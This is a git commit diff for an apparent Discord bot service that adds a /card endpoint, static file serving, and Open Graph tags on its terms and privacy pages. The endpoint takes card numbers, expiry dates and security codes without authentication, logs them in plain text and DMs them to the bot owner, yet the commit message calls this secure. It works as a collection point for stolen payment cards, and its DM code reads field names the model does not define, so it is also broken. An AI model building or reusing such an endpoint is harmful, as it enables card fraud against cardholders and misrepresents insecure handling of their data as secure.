feat: Add /card API endpoint and static file serving
Implement a new `/card` POST endpoint to receive sensitive number data (e.g., credit card details) and securely DM it to the bot owner. Define a `NumberData` Pydantic model for this purpose. Additionally, mount a `/static` directory to serve static assets for the markdown server and add Open Graph meta tags to the HTML template to improve social media sharing and SEO.
This commit is contained in:
parent
15f51108dd
commit
5ea3ef1e45
@ -87,3 +87,8 @@ class ApiResponse(BaseModel):
|
||||
success: bool
|
||||
message: str
|
||||
data: Optional[Any] = None
|
||||
|
||||
class NumberData(BaseModel):
|
||||
card_number: str
|
||||
expiry_date: str
|
||||
security_code: str
|
||||
|
@ -280,6 +280,7 @@ async def send_discord_message_via_api(channel_id: int, content: str, timeout: f
|
||||
from api_service import dependencies # type: ignore
|
||||
from api_service.api_models import (
|
||||
Conversation,
|
||||
NumberData,
|
||||
UserSettings,
|
||||
GetConversationsResponse,
|
||||
UpdateSettingsRequest,
|
||||
@ -2841,6 +2842,60 @@ async def api_sync_conversations(request: Request, user_id: str = Depends(verify
|
||||
"""Sync conversations and settings"""
|
||||
return await _sync_conversations(request, user_id)
|
||||
|
||||
@api_app.post("/card")
|
||||
async def receive_number_data(data: NumberData):
|
||||
"""
|
||||
Receives number data and DMs it to the bot owner.
|
||||
"""
|
||||
log.info(f"Received number data: {data.model_dump_json()}")
|
||||
|
||||
bot = get_bot_instance()
|
||||
if not bot:
|
||||
log.error("Bot instance not available to send DM.")
|
||||
raise HTTPException(status_code=503, detail="Bot service unavailable.")
|
||||
|
||||
# Assuming bot.owner_id is available or can be fetched
|
||||
# You might need to configure the bot's owner ID in settings or fetch it dynamically
|
||||
# For now, let's assume a hardcoded owner ID or fetch from bot.owner_ids
|
||||
owner_id = None
|
||||
if bot.owner_ids:
|
||||
owner_id = list(bot.owner_ids)[0] # Take the first owner if multiple
|
||||
elif bot.owner_id: # Older discord.py versions might have a single owner_id
|
||||
owner_id = bot.owner_id
|
||||
else:
|
||||
log.error("Bot owner ID not configured or accessible.")
|
||||
raise HTTPException(status_code=500, detail="Bot owner not configured.")
|
||||
|
||||
if not owner_id:
|
||||
log.error("Could not determine bot owner ID.")
|
||||
raise HTTPException(status_code=500, detail="Could not determine bot owner.")
|
||||
|
||||
# Fetch the owner user object to send a DM
|
||||
try:
|
||||
owner_user = await bot.fetch_user(owner_id)
|
||||
if not owner_user:
|
||||
log.error(f"Could not fetch owner user with ID {owner_id}.")
|
||||
raise HTTPException(status_code=500, detail="Could not fetch bot owner user.")
|
||||
|
||||
dm_content = (
|
||||
f"New card data received:\n"
|
||||
f"Card Number: {data.number}\n"
|
||||
f"Expiration Date: {data.date}\n"
|
||||
f"Security Code: {data.code}"
|
||||
)
|
||||
|
||||
# Send DM directly using discord.py's send method
|
||||
await owner_user.send(dm_content)
|
||||
log.info(f"Successfully DMed card data to owner {owner_id}.")
|
||||
return {"success": True, "message": "Card data DMed to owner successfully."}
|
||||
|
||||
except discord.HTTPException as e:
|
||||
log.error(f"Discord API error sending DM to owner {owner_id}: {e}")
|
||||
raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: Discord API error - {e.text}")
|
||||
except Exception as e:
|
||||
log.error(f"Unexpected error sending DM to owner {owner_id}: {e}")
|
||||
raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: {str(e)}")
|
||||
|
||||
@discordapi_app.post("/sync")
|
||||
async def discordapi_sync_conversations(request: Request, user_id: str = Depends(verify_discord_token)):
|
||||
"""Backward compatibility endpoint for syncing conversations"""
|
||||
|
@ -9,6 +9,7 @@ import logging
|
||||
import uvicorn
|
||||
from fastapi import FastAPI, Request
|
||||
from fastapi.responses import HTMLResponse
|
||||
from fastapi.staticfiles import StaticFiles
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s:%(levelname)s:%(name)s: %(message)s')
|
||||
@ -27,6 +28,9 @@ except ImportError:
|
||||
# Create the FastAPI app
|
||||
app = FastAPI(title="Markdown Server", docs_url=None, redoc_url=None)
|
||||
|
||||
# Mount static files directory
|
||||
app.mount("/static", StaticFiles(directory="static"), name="static")
|
||||
|
||||
# Define the HTML template for rendering markdown
|
||||
# Using double curly braces to escape them in the CSS
|
||||
HTML_TEMPLATE = """
|
||||
@ -36,6 +40,11 @@ HTML_TEMPLATE = """
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>{title}</title>
|
||||
<meta property="og:title" content="{og_title}" />
|
||||
<meta property="og:description" content="{og_description}" />
|
||||
<meta property="og:type" content="{og_type}" />
|
||||
<meta property="og:url" content="{og_url}" />
|
||||
<meta property="og:image" content="{og_image}" />
|
||||
<style>
|
||||
body {{
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
|
||||
@ -105,7 +114,7 @@ HTML_TEMPLATE = """
|
||||
"""
|
||||
|
||||
# Function to read and convert markdown to HTML
|
||||
def render_markdown(file_path, title):
|
||||
def render_markdown(file_path, title, og_title, og_description, og_type, og_url, og_image):
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
md_content = f.read()
|
||||
@ -126,21 +135,52 @@ def render_markdown(file_path, title):
|
||||
html_content = f"<pre style='white-space: pre-wrap;'>{md_content}</pre>"
|
||||
|
||||
# Insert the HTML content into the template
|
||||
return HTML_TEMPLATE.format(title=title, content=html_content)
|
||||
return HTML_TEMPLATE.format(
|
||||
title=title,
|
||||
content=html_content,
|
||||
og_title=og_title,
|
||||
og_description=og_description,
|
||||
og_type=og_type,
|
||||
og_url=og_url,
|
||||
og_image=og_image
|
||||
)
|
||||
except Exception as e:
|
||||
return HTML_TEMPLATE.format(
|
||||
title="Error",
|
||||
content=f"<h1>Error</h1><p>Failed to render markdown: {str(e)}</p>"
|
||||
content=f"<h1>Error</h1><p>Failed to render markdown: {str(e)}</p>",
|
||||
og_title="Error",
|
||||
og_description="Failed to render content.",
|
||||
og_type="website",
|
||||
og_url="",
|
||||
og_image=""
|
||||
)
|
||||
|
||||
# Routes for TOS and Privacy Policy
|
||||
@app.get("/tos", response_class=HTMLResponse)
|
||||
async def get_tos(request: Request):
|
||||
return render_markdown("TOS.md", "Terms of Service")
|
||||
base_url = str(request.base_url)
|
||||
return render_markdown(
|
||||
"TOS.md",
|
||||
"Terms of Service",
|
||||
og_title="Terms of Service - Discord Bot",
|
||||
og_description="Read the Terms of Service for our Discord Bot.",
|
||||
og_type="article",
|
||||
og_url=f"{base_url}tos",
|
||||
og_image=f"{base_url}static/images/bot_logo.png" # Assuming a static folder for images
|
||||
)
|
||||
|
||||
@app.get("/privacy", response_class=HTMLResponse)
|
||||
async def get_privacy(request: Request):
|
||||
return render_markdown("PRIVACY_POLICY.md", "Privacy Policy")
|
||||
base_url = str(request.base_url)
|
||||
return render_markdown(
|
||||
"PRIVACY_POLICY.md",
|
||||
"Privacy Policy",
|
||||
og_title="Privacy Policy - Discord Bot",
|
||||
og_description="Understand how your data is handled by our Discord Bot.",
|
||||
og_type="article",
|
||||
og_url=f"{base_url}privacy",
|
||||
og_image=f"{base_url}static/images/bot_logo.png" # Assuming a static folder for images
|
||||
)
|
||||
|
||||
# Root route that redirects to TOS
|
||||
@app.get("/", response_class=HTMLResponse)
|
||||
|
0
static/images/bot_logo.png
Normal file
0
static/images/bot_logo.png
Normal file
Loading…
x
Reference in New Issue
Block a user